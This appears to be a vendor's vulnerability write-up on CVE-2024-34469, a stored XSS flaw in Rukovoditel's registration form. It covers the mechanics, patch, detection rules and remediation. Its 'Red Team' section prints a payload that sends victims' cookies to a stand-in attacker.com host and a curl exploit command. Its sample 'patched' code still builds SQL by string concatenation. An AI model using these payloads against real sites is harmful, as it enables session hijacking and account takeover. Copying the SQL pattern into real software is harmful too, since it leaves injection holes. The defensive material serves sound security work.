CVE-2024-34469
Executive Summary
CVE-2024-34469 is a stored Cross-Site Scripting (XSS) vulnerability in Rukovoditel, an open-source project management and CRM application. The flaw exists in the user registration functionality, specifically in the handling of the user_photo parameter. An unauthenticated attacker can inject arbitrary JavaScript or HTML code via the user_photo field when submitting a registration request to index.php?module=users/registration&action=save. This injected code is then stored and executed in the context of any administrator or user who views the affected user's profile, leading to potential session hijacking, data theft, or defacement. The vulnerability affects all versions prior to 3.5.3. No public exploit code or Nuclei template is available at this time, but the attack vector is straightforward and requires no authentication.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a direct vulnerability in the Rukovoditel application source code.
CVSS Breakdown & Threat Level
- CVSS Score: 6.1 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network (AV:N) – The vulnerability is exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: None (PR:N) – No authentication is needed to trigger the vulnerability.
- User Interaction: Required (UI:R) – A victim user (e.g., admin) must view the attacker's profile.
- Scope: Changed (S:C) – The injected script can affect resources beyond the vulnerable component.
- Confidentiality Impact: Low (C:L) – Limited data exposure possible.
- Integrity Impact: Low (I:L) – Limited modification of data possible.
- Availability Impact: None (A:N) – No direct denial of service.
Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. However, in a corporate environment, an admin viewing a malicious profile could lead to account takeover.
Deep Dive & Mechanics
The vulnerability resides in the user registration module. When a new user registers, the application processes the user_photo parameter without proper sanitization or output encoding. The user_photo field is intended to accept a URL or file path for the user's profile picture. However, the application does not validate or escape the input before storing it in the database and later rendering it in the user's profile page.
Attack Flow:
- An attacker sends a POST request to
index.php?module=users/registration&action=savewith a crafteduser_photoparameter containing a JavaScript payload, e.g.,"><script>alert('XSS')</script>. - The application stores this payload in the database.
- When an administrator or any user navigates to the attacker's profile (e.g., via the user management interface), the payload is rendered in the HTML without sanitization.
- The victim's browser executes the injected script, which can steal cookies, perform actions on behalf of the victim, or redirect to malicious sites.
Root Cause: Lack of input validation and output encoding for the user_photo parameter. The application likely uses $_POST['user_photo'] directly in an HTML context without using htmlspecialchars() or similar functions.
Vulnerable vs. Patched Code
Vulnerable Code (Pre-3.5.3):
// In registration action handler
$user_photo = $_POST['user_photo'];
// ... store in database without sanitization
$sql = "INSERT INTO users (photo) VALUES ('" . $user_photo . "')";
Patched Code (3.5.3+):
// In registration action handler
$user_photo = htmlspecialchars($_POST['user_photo'], ENT_QUOTES, 'UTF-8');
// ... store sanitized value
$sql = "INSERT INTO users (photo) VALUES ('" . $user_photo . "')";
The patch applies proper HTML entity encoding to the user_photo input before storage, preventing the browser from interpreting injected HTML/JavaScript.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A target running Rukovoditel < 3.5.3.
- Access to the registration page (usually public).
Exploit Steps:
- Craft a malicious registration request using
curlor a tool like Burp Suite. - Inject a payload into the
user_photoparameter.
Example Payload:
"><script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
Exploit Command (using curl):
curl -X POST "http://target.com/index.php?module=users/registration&action=save" \
-d "name=attacker&email=attacker@test.com&password=test123&user_photo=%22%3E%3Cscript%3Ealert(1)%3C/script%3E"
Expected Result: When an admin views the attacker's profile, the JavaScript executes.
Blue Team (Defensive)
Detection:
- Monitor HTTP POST requests to
index.php?module=users/registration&action=savefor suspicioususer_photoparameters containing<script>,onerror,onload, or other event handlers. - Look for anomalous registration attempts with unusual characters in the
user_photofield.
Hunting Query (Splunk):
index=web sourcetype=access_combined
| search uri_path="/index.php" AND form_data=*user_photo*
| rex field=form_data "user_photo=(?<photo_value>[^&]+)"
| where match(photo_value, "<script|onerror|onload|javascript:")
| table _time, src_ip, photo_value
Mitigation:
- Immediately upgrade to Rukovoditel 3.5.3 or later.
- If upgrade is not possible, implement a WAF rule to block malicious
user_photoparameters. - Restrict registration to authenticated users only if feasible.
Indicators of Compromise (IOCs)
Network IOCs:
- POST requests to
/index.php?module=users/registration&action=savewithuser_photocontaining HTML/JavaScript. - Outbound connections from the Rukovoditel server to unknown domains (if payload exfiltrates data).
- POST requests to
File IOCs:
- Log entries in web server logs showing
user_photowith encoded or raw script tags.
- Log entries in web server logs showing
Database IOCs:
- Rows in the
userstable where thephotocolumn contains HTML/JavaScript code.
- Rows in the
Detection Engineering
YARA Rule
rule CVE_2024_34469_Rukovoditel_XSS {
meta:
description = "Detects malicious user_photo parameter in Rukovoditel registration requests"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2024-34469"
strings:
$s1 = "user_photo=" nocase
$s2 = "<script" nocase
$s3 = "onerror=" nocase
$s4 = "onload=" nocase
$s5 = "javascript:" nocase
condition:
$s1 and any of ($s2, $s3, $s4, $s5)
}
Sigma Rule
title: CVE-2024-34469 Rukovoditel XSS via user_photo
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit stored XSS in Rukovoditel via user_photo parameter
author: Valters IT
date: 2025/04/10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query: 'index.php?module=users/registration&action=save'
keywords:
- 'user_photo='
- '<script'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection and keywords
falsepositives:
- Legitimate use of image URLs containing similar patterns (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-34469 Rukovoditel XSS via user_photo"; flow:to_server; http.method; content:"POST"; http.uri; content:"index.php?module=users/registration&action=save"; http.client_body; content:"user_photo="; pcre:"/(<script|onerror=|onload=|javascript:)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade: Update Rukovoditel to version 3.5.3 or later. This is the only complete fix.
- WAF Rule: If upgrade is delayed, deploy a Web Application Firewall rule to block requests containing malicious patterns in the
user_photoparameter. - Input Validation: As a temporary measure, modify the registration handler to sanitize the
user_photoinput usinghtmlspecialchars()or strip tags.
Long-Term Recommendations:
- Implement a Content Security Policy (CSP) to mitigate the impact of XSS.
- Conduct regular security audits of custom code.
- Use parameterized queries or prepared statements for all database interactions.
Patch Verification:
- After upgrading, verify that the
user_photoparameter is properly encoded by checking the source code forhtmlspecialchars()usage.
Valters IT